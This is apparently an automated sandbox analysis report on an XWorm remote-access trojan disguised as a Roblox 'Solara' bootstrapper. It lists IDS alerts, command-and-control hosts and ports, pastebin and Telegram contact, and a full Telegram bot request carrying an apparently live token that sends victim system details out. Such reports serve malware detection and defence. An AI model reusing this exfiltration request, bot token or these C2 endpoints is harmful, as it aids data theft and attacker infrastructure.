Source: Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.00000000034C9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.00000000034C9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000003EC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000003EC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000003EC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000003EC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000003EC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: zC:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000003EC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.00000000034C9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: xC:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000003EC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000003EC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000003EC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: symbols\dll\mscorlib.pdbpdb` source: BootstrapperV21.exe, 00000002.00000002.4877362676.000000001C9E8000.00000004.00000010.00020000.00000000.sdmp
Source: Binary string: System.pdb source: BootstrapperV1.22.exe, 00000008.00000002.2521727635.000001AC8E8A2000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Windows\mscorlib.pdbpdblib.pdbvR source: BootstrapperV21.exe, 00000002.00000002.4870582452.000000001C3E0000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000003EC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000003EC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.00000000034C9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000003EC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000003EC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000003EC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000003EC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: BootstrapperV21.exe, 00000002.00000002.4509858582.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Code function: 0_2_00007FF6373BB190 EndDialog,SetDlgItemTextW,GetMessageW,IsDialogMessageW,TranslateMessage,DispatchMessageW,EndDialog,GetDlgItem,SendMessageW,SendMessageW,SetFocus,GetLastError,GetLastError,GetTickCount,GetLastError,GetCommandLineW,CreateFileMappingW,MapViewOfFile,ShellExecuteExW,Sleep,UnmapViewOfFile,CloseHandle,SetDlgItemTextW,SetWindowTextW,SetDlgItemTextW,SetWindowTextW,GetDlgItem,GetWindowLongPtrW,SetWindowLongPtrW,SetDlgItemTextW,SendMessageW,SendDlgItemMessageW,GetDlgItem,SendMessageW,GetDlgItem,SetDlgItemTextW,SetDlgItemTextW,DialogBoxParamW,EndDialog,EnableWindow,SendMessageW,SetDlgItemTextW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SendDlgItemMessageW,FindFirstFileW,FindClose,SendDlgItemMessageW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn, 0_2_00007FF6373BB190
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Code function: 0_2_00007FF6373A40BC FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn, 0_2_00007FF6373A40BC
Source: C:\Users\user\Desktop\8svMXMXNRn.exe Code function: 0_2_00007FF6373CFCA0 FindFirstFileExA, 0_2_00007FF6373CFCA0
Source: C:\Users\user\AppData\Local\Temp\voosiq.exe Code function: 33_2_00007FF789DCECE0 EndDialog,SetDlgItemTextW,GetMessageW,IsDialogMessageW,TranslateMessage,DispatchMessageW,EndDialog,GetDlgItem,SendMessageW,SendMessageW,SetFocus,GetLastError,GetLastError,GetTickCount,GetLastError,GetCommandLineW,CreateFileMappingW,MapViewOfFile,ShellExecuteExW,Sleep,UnmapViewOfFile,CloseHandle,SetDlgItemTextW,SetWindowTextW,SetDlgItemTextW,SetWindowTextW,GetDlgItem,GetWindowLongPtrW,SetWindowLongPtrW,SetDlgItemTextW,SendMessageW,SendDlgItemMessageW,GetDlgItem,SendMessageW,GetDlgItem,SetDlgItemTextW,SetDlgItemTextW,DialogBoxParamW,EndDialog,EnableWindow,SendMessageW,SetDlgItemTextW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SendDlgItemMessageW,FindFirstFileW,FindClose,SendDlgItemMessageW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn, 33_2_00007FF789DCECE0
Source: C:\Users\user\AppData\Local\Temp\voosiq.exe Code function: 33_2_00007FF789DB647C FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn, 33_2_00007FF789DB647C
Source: C:\Users\user\AppData\Local\Temp\voosiq.exe Code function: 33_2_00007FF789DE3130 FindFirstFileExA, 33_2_00007FF789DE3130
Source: C:\Windows\System32\wscript.exe File opened: C:\Users\user\Documents\desktop.ini
Source: C:\Windows\System32\wscript.exe File opened: C:\Users\user
Source: C:\Windows\System32\wscript.exe File opened: C:\Users\user\AppData\Local\Temp
Source: C:\Windows\System32\wscript.exe File opened: C:\Users\user\AppData
Source: C:\Windows\System32\wscript.exe File opened: C:\Users\user\AppData\Local
Source: C:\Windows\System32\wscript.exe File opened: C:\Users\user\Desktop\desktop.ini
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Code function: 4x nop then jmp 00007FF848C522C2h 2_2_00007FF848C520FD
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Code function: 4x nop then jmp 00007FF848C5C9C3h 2_2_00007FF848C5C3BD
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Code function: 4x nop then jmp 00007FF848C5C9D4h 2_2_00007FF848C5C3BD
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Code function: 4x nop then jmp 00007FF848C53364h 2_2_00007FF848C52CE9
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Code function: 4x nop then jmp 00007FF848C53375h 2_2_00007FF848C52CE9
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Code function: 4x nop then jmp 00007FF848C53FA7h 2_2_00007FF848C4DE30
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Code function: 4x nop then jmp 00007FF848C53FA7h 2_2_00007FF848C4DE30
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Code function: 4x nop then mov dword ptr [ebp-1Ch], 0000002Dh 2_2_00007FF848C55FC9
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Code function: 4x nop then mov dword ptr [ebp-1Ch], 00000046h 2_2_00007FF848C55FC9
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Code function: 4x nop then mov dword ptr [ebp-1Ch], 00000055h 2_2_00007FF848C55FC9
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Code function: 4x nop then mov dword ptr [ebp-1Ch], 00000063h 2_2_00007FF848C55FC9
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Code function: 4x nop then mov dword ptr [ebp-1Ch], 00000071h 2_2_00007FF848C55FC9
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Code function: 4x nop then jmp 00007FF848C6C8DBh 2_2_00007FF848C5D750
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Code function: 4x nop then jmp 00007FF848C58ACBh 2_2_00007FF848C5880E
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Code function: 4x nop then mov dword ptr [ebp-1Ch], 0000002Dh 2_2_00007FF848C55FC9
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Code function: 4x nop then mov dword ptr [ebp-1Ch], 00000046h 2_2_00007FF848C55FC9
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Code function: 4x nop then mov dword ptr [ebp-1Ch], 00000055h 2_2_00007FF848C55FC9
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Code function: 4x nop then mov dword ptr [ebp-1Ch], 00000063h 2_2_00007FF848C55FC9
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Code function: 4x nop then mov dword ptr [ebp-1Ch], 00000071h 2_2_00007FF848C55FC9
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Code function: 4x nop then dec eax 2_2_00007FF848C5C206
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Code function: 4x nop then jmp 00007FF848C5D6C5h 2_2_00007FF848C5D621
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Code function: 4x nop then jmp 00007FF848C68714h 2_2_00007FF848C5D738
Source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe Code function: 4x nop then jmp 00007FF848C68725h 2_2_00007FF848C5D738

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2853192 - Severity 1 - ETPRO MALWARE Win32/XWorm V3 CnC Command - sendPlugin Outbound : 192.168.2.5:50002 -> 147.185.221.23:1764
Source: Network traffic Suricata IDS: 2853191 - Severity 1 - ETPRO MALWARE Win32/XWorm V3 CnC Command - savePlugin Inbound : 147.185.221.23:1764 -> 192.168.2.5:50002
Source: Network traffic Suricata IDS: 2852873 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC PING Command Outbound M2 : 192.168.2.5:50003 -> 147.185.221.23:1764
Source: Network traffic Suricata IDS: 2852923 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client) : 192.168.2.5:50003 -> 147.185.221.23:1764
Source: Network traffic Suricata IDS: 2852870 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes : 147.185.221.23:1764 -> 192.168.2.5:50002
Source: Network traffic Suricata IDS: 2852874 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2 : 147.185.221.23:1764 -> 192.168.2.5:50002
Source: Network traffic Suricata IDS: 2855924 - Severity 1 - ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound : 192.168.2.5:50002 -> 147.185.221.23:1764
Source: Network traffic Suricata IDS: 2852923 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client) : 192.168.2.5:50002 -> 147.185.221.23:1764
Source: Network traffic Suricata IDS: 2852870 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes : 147.185.221.23:1764 -> 192.168.2.5:50006
Source: Network traffic Suricata IDS: 2852873 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC PING Command Outbound M2 : 192.168.2.5:50012 -> 147.185.221.23:1764
Source: Network traffic Suricata IDS: 2852923 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client) : 192.168.2.5:50012 -> 147.185.221.23:1764
Source: Network traffic Suricata IDS: 2852870 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes : 147.185.221.23:1764 -> 192.168.2.5:50012
Source: Network traffic Suricata IDS: 2852873 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC PING Command Outbound M2 : 192.168.2.5:50013 -> 147.185.221.23:1764
Source: Network traffic Suricata IDS: 2852923 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client) : 192.168.2.5:50013 -> 147.185.221.23:1764
Source: Network traffic Suricata IDS: 2852870 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes : 147.185.221.23:1764 -> 192.168.2.5:50013
Source: Network traffic Suricata IDS: 2852870 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes : 147.185.221.23:1764 -> 192.168.2.5:50003
Source: Network traffic Suricata IDS: 2853685 - Severity 1 - ETPRO MALWARE Win32/XWorm Checkin via Telegram : 192.168.2.5:49999 -> 149.154.167.220:443
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: 127.0.0.1
Source: Malware configuration extractor URLs: cash-hispanic.gl.at.ply.gg
Connects to a pastebin service (likely for C&C)
Source: unknown DNS query: name: pastebin.com
Uses the Telegram API (likely for C&C communication)
Source: unknown DNS query: name: api.telegram.org
Yara detected Generic Downloader
Source: Yara match File source: 2.0.BootstrapperV21.exe.750000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: C:\Users\user\AppData\Roaming\explorer.exe, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\BootstrapperV21.exe, type: DROPPED
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.5:50002 -> 147.185.221.23:1764
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /asset/discord.json HTTP/1.1Host: getsolara.devConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /raw/ZESVzSgK HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /api/endpoint.json HTTP/1.1Host: getsolara.dev
Source: global traffic HTTP traffic detected: GET /download/static/files/Bootstrapper.exe HTTP/1.1Host: 79c62fd6.solaraweb-alj.pages.devConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /asset/discord.json HTTP/1.1Host: getsolara.devConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /api/endpoint.json HTTP/1.1Host: getsolara.dev
Source: global traffic HTTP traffic detected: GET /v2/client-version/WindowsPlayer/channel/live HTTP/1.1Host: clientsettings.roblox.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /dist/v18.16.0/node-v18.16.0-x64.msi HTTP/1.1Host: www.nodejs.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /bot8013268995:AAHt5-BJsAIEM9hnoTy17y1WYC4NnCMU398/sendMessage?chat_id=5405936031&text=%E2%98%A0%20%5BXWorm%20V5.2%5D%0D%0A%0D%0ANew%20Clinet%20:%20%0D%0A58ABE3825259C230781C%0D%0A%0D%0AUserName%20:%20user%0D%0AOSFullName%20:%20Microsoft%20Windows%2010%20Pro%0D%0AUSB%20:%20False%0D%0ACPU%20:%20Error%0D%0AGPU%20:%208TH9_M1_S%20%0D%0ARAM%20:%207.99%20GB%0D%0AGroub%20:%20XWorm%20V5.2 HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View IP Address: 172.67.19.24 172.67.19.24
Source: Joe Sandbox View IP Address: 172.67.19.24 172.67.19.24
Source: Joe Sandbox View IP Address: 147.185.221.23 147.185.221.23
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: TELEGRAMRU TELEGRAMRU
Source: Joe Sandbox View ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View ASN Name: SALSGIVERUS SALSGIVERUS
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Suricata IDS alerts with low severity for network traffic
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49710 -> 104.21.93.27:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49707 -> 104.21.93.27:443
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global traffic HTTP traffic detected: GET /asset/discord.json HTTP/1.1Host: getsolara.devConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /raw/ZESVzSgK HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /api/endpoint.json HTTP/1.1Host: getsolara.dev
Source: global traffic HTTP traffic detected: GET /download/static/files/Bootstrapper.exe HTTP/1.1Host: 79c62fd6.solaraweb-alj.pages.devConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /asset/discord.json HTTP/1.1Host: getsolara.devConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /api/endpoint.json HTTP/1.1Host: getsolara.dev
Source: global traffic HTTP traffic detected: GET /v2/client-version/WindowsPlayer/channel/live HTTP/1.1Host: clientsettings.roblox.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /dist/v18.16.0/node-v18.16.0-x64.msi HTTP/1.1Host: www.nodejs.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /bot8013268995:AAHt5-BJsAIEM9hnoTy17y1WYC4NnCMU398/sendMessage?chat_id=5405936031&text=%E2%98%A0%20%5BXWorm%20V5.2%5D%0D%0A%0D%0ANew%20Clinet%20:%20%0D%0A58ABE3825259C230781C%0D%0A%0D%0AUserName%20:%20user%0D%0AOSFullName%20:%20Microsoft%20Windows%2010%20Pro%0D%0AUSB%20:%20False%0D%0ACPU%20:%20Error%0D%0AGPU%20:%208TH9_M1_S%20%0D%0ARAM%20:%207.99%20GB%0D%0AGroub%20:%20XWorm%20V5.2 HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic DNS traffic detected: DNS query: getsolara.dev
Source: global traffic DNS traffic detected: DNS query: pastebin.com
Source: global traffic DNS traffic detected: DNS query: 79c62fd6.solaraweb-alj.pages.dev
Source: global traffic DNS traffic detected: DNS query: clientsettings.roblox.com
Source: global traffic DNS traffic detected: DNS query: www.nodejs.org
Source: global traffic DNS traffic detected: DNS query: nodejs.org
Source: global traffic DNS traffic detected: DNS query: api.telegram.org
Source: global traffic DNS traffic detected: DNS query: cash-hispanic.gl.at.ply.gg
Source: global traffic DNS traffic detected: DNS query: settings-ssl.xboxlive.com
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 13 Oct 2024 17:09:02 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closex-frame-options: DENYx-frame-options: DENYx-content-type-options: nosniffx-content-type-options: nosniffx-xss-protection: 1;mode=blockx-xss-protection: 1;mode=blockcache-control: public, max-age=1801CF-Cache-Status: HITAge: 242Server: cloudflareCF-RAY: 8d20ef6379751977-EWR
Source: Bootstrapper.exe, 00000003.00000002.2134494144.00000247BF4AB000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://127.0.0.1:6463
Source: Bootstrapper.exe, 00000003.00000002.2134494144.00000247BF4AB000.00000004.00000800.00020000.00000000.sdmp, Bootstrapper.exe, 00000003.00000002.2134494144.00000247BF3B1000.00000004.00000800.00020000.00000000.sdmp, BootstrapperV1.22.exe, 00000008.00000002.2521727635.000001AC8E551000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://127.0.0.1:6463/rpc?v=1
Source: Bootstrapper.exe, 00000003.00000002.2134494144.00000247BF4AB000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://127.0.0.1:64632
Source: Bootstrapper.exe, 00000003.00000002.2134494144.00000247BF54D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://79c62fd6.solaraweb-alj.pages.dev
Source: BootstrapperV1.22.exe, 00000008.00000002.2521727635.000001AC8E6E6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://clientsettings.roblox.com
Source: powershell.exe, 00000005.00000002.2130997273.000001D47DF81000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.mic
Source: powershell.exe, 00000005.00000002.2130997273.000001D47DF81000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.micft.cMicRosof
Source: powershell.exe, 00000016.00000002.2441193901.00000201AB184000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.microsoft
Source: svchost.exe, 0000001F.00000002.4500802078.0000014635800000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.ver)
Source: BootstrapperV1.22.exe, 00000008.00000002.2521727635.000001AC8E6E6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://edge-term4-fra4.roblox.com
Source: svchost.exe, 0000001F.00000003.3606100140.00000146356B0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: Bootstrapper.exe, 00000003.00000002.2134494144.00000247BF521000.00000004.00000800.00020000.00000000.sdmp, Bootstrapper.exe, 00000003.00000002.2134494144.00000247BF458000.00000004.00000800.00020000.00000000.sdmp, BootstrapperV1.22.exe, 00000008.00000002.2521727635.000001AC8E604000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://getsolara.dev
Source: BootstrapperV1.22.exe, 00000008.00000000.2128272652.000001AC8C7A2000.00000002.00000001.01000000.0000000E.sdmp String found in binary or memory: http://james.newtonking.com/projects/json
Source: BootstrapperV1.22.exe, 00000008.00000002.2521727635.000001AC8E6E6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://nodejs.org
Source: powershell.exe, 00000005.00000002.2118096671.000001D4759B5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2239684781.0000020035F95000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2379557085.000001DA74C95000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2617353264.00000201BCB74000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://nuget.org/NuGet.exe
Source: Bootstrapper.exe, 00000003.00000002.2134494144.00000247BF4BA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://pastebin.com
Source: powershell.exe, 00000016.00000002.2442020848.00000201ACD28000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://pesterbdd.com/images/Pester.png
